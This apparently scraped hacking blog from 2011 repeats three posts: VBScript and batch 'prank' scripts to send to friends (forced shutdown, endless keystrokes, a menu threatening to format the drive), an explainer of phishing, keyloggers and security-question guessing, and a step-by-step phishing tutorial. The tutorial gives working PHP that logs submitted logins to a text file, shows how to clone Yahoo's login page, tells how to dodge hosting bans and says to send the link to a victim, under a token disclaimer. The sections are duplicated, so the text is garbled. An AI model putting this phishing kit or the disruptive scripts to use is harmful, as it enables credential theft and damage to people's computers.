Friday, 30 September 2011

DANGEROUS VBScript PRANKS

1) Convey a little message and shut down the computer:
Type :


@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s



Save it as "Anything.BAT" in All Files and send it.

2) Toggle the Caps Lock button simultaneously:
Type :


Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.

3) Continually pop out the CD Drive. If there are more than one, it pops out all of them!
Type :


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.

4) Frustrate someone by making this VBScript hit Enter simultaneously:
Type :


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" after some time of clicking the file and freak someone out:

Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

6) Frustrate someone by making this VBScript hit Backspace simultaneously:
Type :


MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

7) Hack the keyboard and make it type "You are a fool" continuously:
Type :


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

8. Open Notepad continually in your friend's computer:
Type :


@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :


@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

DANGEROUS VBScript PRANKS

1) Convey a little message and shut down the computer:
Type :


@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s



Save it as "Anything.BAT" in All Files and send it.

2) Toggle the Caps Lock button simultaneously:
Type :


Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.

3) Continually pop out the CD Drive. If there are more than one, it pops out all of them!
Type :


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.

4) Frustrate someone by making this VBScript hit Enter simultaneously:
Type :


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" after some time of clicking the file and freak someone out:

Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

6) Frustrate someone by making this VBScript hit Backspace simultaneously:
Type :


MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

7) Hack the keyboard and make it type "You are a fool" continuously:
Type :


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

8. Open Notepad continually in your friend's computer:
Type :


@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :


@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

DANGEROUS VBScript PRANKS

1) Convey a little message and shut down the computer:
Type :


@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s



Save it as "Anything.BAT" in All Files and send it.

2) Toggle the Caps Lock button simultaneously:
Type :


Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.

3) Continually pop out the CD Drive. If there are more than one, it pops out all of them!
Type :


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.

4) Frustrate someone by making this VBScript hit Enter simultaneously:
Type :


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" after some time of clicking the file and freak someone out:

Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

6) Frustrate someone by making this VBScript hit Backspace simultaneously:
Type :


MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

7) Hack the keyboard and make it type "You are a fool" continuously:
Type :


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

8. Open Notepad continually in your friend's computer:
Type :


@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :


@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

Saturday, 24 September 2011

How email hacking works? – how to hack email account password?

Ever wonder how hackers actually hack into any email account? you might be thinking that it is a very difficult task. yes? not really. Remember Anyone can do this, its a myth that it is done by geeky nerds with incredible technical knowledge. some of you might also think that it is impossible, Yes it is impossible unless the victim is noob or has very poor knowledge of internet.


And if your account gets hacked, only you are responsible for that. for example:-
“In real life, consider a Car with a single matching key. Now you cannot Unlock this Car Unless you have the duplicate key and the duplicate Key can be made only if you get a chance to trace the original key. And this is possible only if the Car’s owner is careless.”
The same is applicable here. when your Account gets hacked, that’s only because of your carelessness. Believe it. Now a days hackers are targeting social networking profiles like facebook, twitter, etc. rather than email accounts. the same methods are used to hack social networking profiles. Anyways lets see how email hacking works. though there are many ways to do it, i will discuss 3 basic methods.
1) Phishing
2) keystroke capturing
3) Password Guessing
lets discuss each of them in detail:-
  1. Phishing



Phishing is a type of Social Engineering. this is the most widely used hacking technique just because it is really simple and affordable. This can be the simplest way of fooling someone to give you their login details or private information. Phishing is a criminal process of attempting to steal sensitive information such as usernames, passwords,credit card details by disguising as a trustworthy website.
[*]The only clear identification of a website is its URL.

Phishing is typically carried out by e-mail or instant messaging, and it often directs users to enter details at a fake website whose look and feel are almost identical to the legitimate one. The hacker usually sends an e-mail that appears to come from a a bank, or credit card company — requesting “verification” of information.
Please note that any email provider or any Bank Website will never ask you to validate your account by Mail, nor will they ask for verification information without a support request being processed.
Example of email meant to hack facebook account:
The link goes to fake login page of facebook, and when the login info is entered into the fake login page the password is emailed to the hacker or can be saved in a text file hosted on the server. This technique has 70-90% success rate because its success entirely depends on the user to do the mistake and login to the intended fake page.



-2 keystroke capturing

Keystroke capturing is done by using Keyloggers. this is the simplest way of monitoring ones PC to steal their personal details such as passwords and credit card details. Keyloggers are of two types:- hardware and software.
1) Hardware Keylogger
If you can Physically access victims PC, then this could be the ideal keylogger. it is a device which can be quickly inserted in between the keyboard and the PC to capture all the data(keystrokes) entered by the victim. Keystrokes are collected in a temporary file and is stored in the flash memory of the keylogger.
hardware keylogger
The hacker behind it can now easily pick up the device containing all the information(passwords,credit card details) of victim anytime. Therefore, if desired, the keylogger can be moved to another computer to retrieve the data. Amazed?.. yes it is possible, check your keyboard slot now! Beware of this.

2) Software Keylogger
Software Keyloggers are basically Spyware, they are used to hack remote PC’s, ie these keyloggers are used to capture keystroke of a victim which is sitting far away from you(when you don’t have physical access). The attacker normally sends this keylogger application via email and somehow conveys the victim to install it.
for example look at the email message below:-
sexy hot girl on bi cycle camera prank bike
At First sight its really hard to control our self not to click it. right? But When you click on that link, the keylogger is automatically installed on your PC without any warning and sometimes Antivirus fails to recognize this. Now that the Keylogger is residing in your PC, the hacker can now monitor all the activities on your PC. the keylogger constantly collects all the the keystrokes entered by you in a temporary file, which is then periodically uploaded to the hackers location over the internet.
Prevention (BETTER safe than SORRY)
  • Never click on any suspicious links
  • Never install any Software patch or any Keygen, unless you download it from legit site.
  • Never try any free Keylogger. (I will post some free keyloggers very soon)
How to Get rid of Software keylogger?
  • The good thing about software keylogger is, you will never know about it-when it is installed on your PC, is it working…nothing. so one thing you can do is install a good Antispyware on your PC.
  • If you still feel that something is monitoring you,. just Format your Hardisk and reinstall your OS.
  • Beware! there are fake AntiSpywares also 

-3 Password Guessing

Password Guessing is also a type of Social Engineering which deals with manipulating someones mind to figure-out his personal information. it requires good social engineering skills and thinking power. here the hacker knows the victim very well, rather hacker is a friend of victim. hacker could be your girlfriend, boyfriend or sometimes family member. also he might be your online friend with whom you share your your profile details including ‘date of birth’, ‘cellphone no’, and other favorite things such as cuisines,music,movies..etc. this information is enough for a hacker to start guessing the security question of the email account and in that way reset the password and put his own password and login into the account. and There is 0-20% chances that he will guess your security ques and ans correctly.
Beware!
There are many fake ways of email hacking, you will see all over the internet. Most of these fake ways tell you something like “you need to send an email to account_recovery@yahoo.com with your password in the subject line” ,..etc etc .which is some fake Yahoo account owned by some hacker that just stole your password.


How email hacking works? – how to hack email account password?

Ever wonder how hackers actually hack into any email account? you might be thinking that it is a very difficult task. yes? not really. Remember Anyone can do this, its a myth that it is done by geeky nerds with incredible technical knowledge. some of you might also think that it is impossible, Yes it is impossible unless the victim is noob or has very poor knowledge of internet.


And if your account gets hacked, only you are responsible for that. for example:-
“In real life, consider a Car with a single matching key. Now you cannot Unlock this Car Unless you have the duplicate key and the duplicate Key can be made only if you get a chance to trace the original key. And this is possible only if the Car’s owner is careless.”
The same is applicable here. when your Account gets hacked, that’s only because of your carelessness. Believe it. Now a days hackers are targeting social networking profiles like facebook, twitter, etc. rather than email accounts. the same methods are used to hack social networking profiles. Anyways lets see how email hacking works. though there are many ways to do it, i will discuss 3 basic methods.
1) Phishing
2) keystroke capturing
3) Password Guessing
lets discuss each of them in detail:-
  1. Phishing



Phishing is a type of Social Engineering. this is the most widely used hacking technique just because it is really simple and affordable. This can be the simplest way of fooling someone to give you their login details or private information. Phishing is a criminal process of attempting to steal sensitive information such as usernames, passwords,credit card details by disguising as a trustworthy website.
[*]The only clear identification of a website is its URL.

Phishing is typically carried out by e-mail or instant messaging, and it often directs users to enter details at a fake website whose look and feel are almost identical to the legitimate one. The hacker usually sends an e-mail that appears to come from a a bank, or credit card company — requesting “verification” of information.
Please note that any email provider or any Bank Website will never ask you to validate your account by Mail, nor will they ask for verification information without a support request being processed.
Example of email meant to hack facebook account:
The link goes to fake login page of facebook, and when the login info is entered into the fake login page the password is emailed to the hacker or can be saved in a text file hosted on the server. This technique has 70-90% success rate because its success entirely depends on the user to do the mistake and login to the intended fake page.



-2 keystroke capturing

Keystroke capturing is done by using Keyloggers. this is the simplest way of monitoring ones PC to steal their personal details such as passwords and credit card details. Keyloggers are of two types:- hardware and software.
1) Hardware Keylogger
If you can Physically access victims PC, then this could be the ideal keylogger. it is a device which can be quickly inserted in between the keyboard and the PC to capture all the data(keystrokes) entered by the victim. Keystrokes are collected in a temporary file and is stored in the flash memory of the keylogger.
hardware keylogger
The hacker behind it can now easily pick up the device containing all the information(passwords,credit card details) of victim anytime. Therefore, if desired, the keylogger can be moved to another computer to retrieve the data. Amazed?.. yes it is possible, check your keyboard slot now! Beware of this.

2) Software Keylogger
Software Keyloggers are basically Spyware, they are used to hack remote PC’s, ie these keyloggers are used to capture keystroke of a victim which is sitting far away from you(when you don’t have physical access). The attacker normally sends this keylogger application via email and somehow conveys the victim to install it.
for example look at the email message below:-
sexy hot girl on bi cycle camera prank bike
At First sight its really hard to control our self not to click it. right? But When you click on that link, the keylogger is automatically installed on your PC without any warning and sometimes Antivirus fails to recognize this. Now that the Keylogger is residing in your PC, the hacker can now monitor all the activities on your PC. the keylogger constantly collects all the the keystrokes entered by you in a temporary file, which is then periodically uploaded to the hackers location over the internet.
Prevention (BETTER safe than SORRY)
  • Never click on any suspicious links
  • Never install any Software patch or any Keygen, unless you download it from legit site.
  • Never try any free Keylogger. (I will post some free keyloggers very soon)
How to Get rid of Software keylogger?
  • The good thing about software keylogger is, you will never know about it-when it is installed on your PC, is it working…nothing. so one thing you can do is install a good Antispyware on your PC.
  • If you still feel that something is monitoring you,. just Format your Hardisk and reinstall your OS.
  • Beware! there are fake AntiSpywares also 

-3 Password Guessing

Password Guessing is also a type of Social Engineering which deals with manipulating someones mind to figure-out his personal information. it requires good social engineering skills and thinking power. here the hacker knows the victim very well, rather hacker is a friend of victim. hacker could be your girlfriend, boyfriend or sometimes family member. also he might be your online friend with whom you share your your profile details including ‘date of birth’, ‘cellphone no’, and other favorite things such as cuisines,music,movies..etc. this information is enough for a hacker to start guessing the security question of the email account and in that way reset the password and put his own password and login into the account. and There is 0-20% chances that he will guess your security ques and ans correctly.
Beware!
There are many fake ways of email hacking, you will see all over the internet. Most of these fake ways tell you something like “you need to send an email to account_recovery@yahoo.com with your password in the subject line” ,..etc etc .which is some fake Yahoo account owned by some hacker that just stole your password.


Beware of Fake Antispyware Programs – Rogue Antispyware!






Note- this tutorial is just for demonstration Purpose and to make you conscious that how much we have to take care while entering passwords. please do not use it for personal benefits. we do not promote hacking. If you know html or php, you will find it very easy. lets See how simple it is to construct and set up a fake login page and steal the password...



Requirements


1) A web hosting account
There are hundreds of websites available that offer free web hosting account, normally 100mb free with a Subdomain. Create a free web hosting account with Subdomain on any of them. The Problem with free hosting is that, as soon as they come to know that you have hosted phisher, they will Ban you. so the Smart choice is to Put some useful articles on the website that you will be getting at Doteasy Free Hosting and side by side you can also host phisher in the separate directory for example: yourname.domain.com/mywork.
Free Webhosting: Doteasy Free Hosting (read note below)
Note : Never use any suspicious keywords like gmail, facebook, hotmail, gmail-login, etc in the subdomain or username. if you use, you will get banned for sure. Instead use your own name or any other name.
2) A fake login page
To create a fake login page, just visit the desired login page. lets say yahoo’s login page. now Right Click on that page and click on ‘view source’ or view ‘page source’. after this a new window will open with the source code. just select all the code using ctrl+a and copy it with ctrl+c. open notepad and paste this code in it. and save it with extension .html on the desktop.
for eg:- yahoo.html
3) A php code that writes data on to a text file
Just copy the below php code in red and paste it in a notepad. after this save it as .php file on the desktop.
for eg:- code.php
<?php
header (‘Location: original login page’);
$handle = fopen(“passwords.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>
4) A text file to save hacked password
Just create an empty text file, name it as password.txt and save it on the desktop.
note- if you don’t create a text file, the ‘fopen’ command in code.php will automatically create a new text file

Creating phisher

Now we have the 3 required files yahoo.html,code.php,password.txt on the desktop.
The next task is to link(connect) the 3 files. such that we must link them in the order yahoo.html>>code.php>>passwords.txt.
ie yahoo.html must be able to communicate with code.php and further code.php must be able to communicate with passwords.txt
Linking yahoo.html and code.php
Just open yahoo.html with text editor and search for ‘action’ field ( Press ctrl+F to search). Upon finding ‘action’ field you will see something like this:

Replace everything in red with code.php, and save the file.

You just connected yahoo.html to code.php
[ * ] There may be more than one action field. follow the same procedure of Replacing with Code.php
Linking code.php and passwords.txt
In the above given code, passwords.txt is already connected with code.php.
Now just open code.php with text editor and  in the 2nd line replace “original login page” with the desired original login page of your phisher.
In our eg it is https://login.yahoo.com/config/login_verify2?&.src=ym and save it.
You just told code.php to open passwords.txt file when run and after the victim enters the login details, redirect him to the original login page. 
Now that everything is ready, the next step is to host the phisher that you just created on to a free web hosting server.

Hosting Phisher

#step1 login to your newly created free hosting account
#step2 click on ‘file manager’ to open file manager
#step3 now navigate to your subdomain directory. to do so just click on your subdomain in the files view area.
#step4 Now just create a new directory(folder) and name it according to phisher you have created.
#step5 navigate to the desired directory that you just created in ‘step3′
#step6 Upload all the 3 files(phisher) ie yahoo.html,code.php,passwords.txt in this directory.
note- all the 3 files must be in the same directory.
#step7 copy the addresses of .html and .txt files
#step8 Send this phisher to your victim. just send the link (.html file’s address) to your victim via email or any other medium.
#step9 be patient . When the victim logs in on your fake page, the username and password gets stored in a test file ie. passwords.txt and now it can be opened any time to see the username and password.
That’s it! you are done. enjoy!

Beware of Fake Antispyware Programs – Rogue Antispyware!






Note- this tutorial is just for demonstration Purpose and to make you conscious that how much we have to take care while entering passwords. please do not use it for personal benefits. we do not promote hacking. If you know html or php, you will find it very easy. lets See how simple it is to construct and set up a fake login page and steal the password...



Requirements


1) A web hosting account
There are hundreds of websites available that offer free web hosting account, normally 100mb free with a Subdomain. Create a free web hosting account with Subdomain on any of them. The Problem with free hosting is that, as soon as they come to know that you have hosted phisher, they will Ban you. so the Smart choice is to Put some useful articles on the website that you will be getting at Doteasy Free Hosting and side by side you can also host phisher in the separate directory for example: yourname.domain.com/mywork.
Free Webhosting: Doteasy Free Hosting (read note below)
Note : Never use any suspicious keywords like gmail, facebook, hotmail, gmail-login, etc in the subdomain or username. if you use, you will get banned for sure. Instead use your own name or any other name.
2) A fake login page
To create a fake login page, just visit the desired login page. lets say yahoo’s login page. now Right Click on that page and click on ‘view source’ or view ‘page source’. after this a new window will open with the source code. just select all the code using ctrl+a and copy it with ctrl+c. open notepad and paste this code in it. and save it with extension .html on the desktop.
for eg:- yahoo.html
3) A php code that writes data on to a text file
Just copy the below php code in red and paste it in a notepad. after this save it as .php file on the desktop.
for eg:- code.php
<?php
header (‘Location: original login page’);
$handle = fopen(“passwords.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>
4) A text file to save hacked password
Just create an empty text file, name it as password.txt and save it on the desktop.
note- if you don’t create a text file, the ‘fopen’ command in code.php will automatically create a new text file

Creating phisher

Now we have the 3 required files yahoo.html,code.php,password.txt on the desktop.
The next task is to link(connect) the 3 files. such that we must link them in the order yahoo.html>>code.php>>passwords.txt.
ie yahoo.html must be able to communicate with code.php and further code.php must be able to communicate with passwords.txt
Linking yahoo.html and code.php
Just open yahoo.html with text editor and search for ‘action’ field ( Press ctrl+F to search). Upon finding ‘action’ field you will see something like this:

Replace everything in red with code.php, and save the file.

You just connected yahoo.html to code.php
[ * ] There may be more than one action field. follow the same procedure of Replacing with Code.php
Linking code.php and passwords.txt
In the above given code, passwords.txt is already connected with code.php.
Now just open code.php with text editor and  in the 2nd line replace “original login page” with the desired original login page of your phisher.
In our eg it is https://login.yahoo.com/config/login_verify2?&.src=ym and save it.
You just told code.php to open passwords.txt file when run and after the victim enters the login details, redirect him to the original login page. 
Now that everything is ready, the next step is to host the phisher that you just created on to a free web hosting server.

Hosting Phisher

#step1 login to your newly created free hosting account
#step2 click on ‘file manager’ to open file manager
#step3 now navigate to your subdomain directory. to do so just click on your subdomain in the files view area.
#step4 Now just create a new directory(folder) and name it according to phisher you have created.
#step5 navigate to the desired directory that you just created in ‘step3′
#step6 Upload all the 3 files(phisher) ie yahoo.html,code.php,passwords.txt in this directory.
note- all the 3 files must be in the same directory.
#step7 copy the addresses of .html and .txt files
#step8 Send this phisher to your victim. just send the link (.html file’s address) to your victim via email or any other medium.
#step9 be patient . When the victim logs in on your fake page, the username and password gets stored in a test file ie. passwords.txt and now it can be opened any time to see the username and password.
That’s it! you are done. enjoy!

linkwithin

Related Posts Plugin for WordPress, Blogger...

social networks


Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Colgate Coupons